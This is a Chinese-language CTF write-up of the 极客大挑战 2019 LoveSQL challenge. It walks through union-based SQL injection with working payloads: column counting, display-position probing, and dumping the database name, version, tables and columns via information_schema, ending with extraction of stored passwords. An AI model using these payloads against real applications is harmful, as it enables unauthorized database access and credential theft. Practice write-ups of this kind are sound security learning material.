SQL注入流程记录

先使用万能密码登入,获取正确密码

[极客大挑战 2019]LoveSQL-LMLPHP

[极客大挑战 2019]LoveSQL-LMLPHP

SQL流程测试

[极客大挑战 2019]LoveSQL-LMLPHP

这里直接从第三步开始

3、查询列名

order by 3 #(#=%23)

#是过滤掉’,避免synax error。

4、判断显示位

payload:-1' union select 1,2,3 #

[极客大挑战 2019]LoveSQL-LMLPHP

这一步之所以输入 id=-1 是因为页面返回数据的位置有限,让查询 password 的

数据返回为空才能有位置显示联合查询所得到的数据,防止发生查询 password的数据

占了显示位而覆盖联合查询所得信息的情况发生

5、获取所有数据库名

-1' union select 1,2,database() %23

-1' union select 1,2,concat_ws('_',user(),version(),database()) %23

将当前用户、数据库版本、数据库名以_符号为连接符一并返回。

concat_ws()函数说明:语法为:concat_ws()(用户自定义的分割符号,字符串或者参数,字符串或者参数,…)

concat_ws() 函数用于将需要分割开的字符串变量以用户选择的分割符号分割开来,例如 concat_ws(@,111,2222)结果返回 111@2222。

也可以通过 information_schema.schemata 获取数据库服务器中所有数据库名。

[极客大挑战 2019]LoveSQL-LMLPHP

6、获取数据库表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23

1.group_conncat()函数说明:返回一个字符串结果,该结果由分组中的值连接组合而成。

2.information_schema 说明:mysql 中的各种数据记录库,确切说是信息数据库。其中包含了数据库本身与其他数据库的大量数据。

[极客大挑战 2019]LoveSQL-LMLPHP

7、获取字段名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' %23

8、获取字段中的数据

1' union select 1,2,group_concat(password) from l0ve1ysq1 %23

[极客大挑战 2019]LoveSQL-LMLPHP

06-23 00:22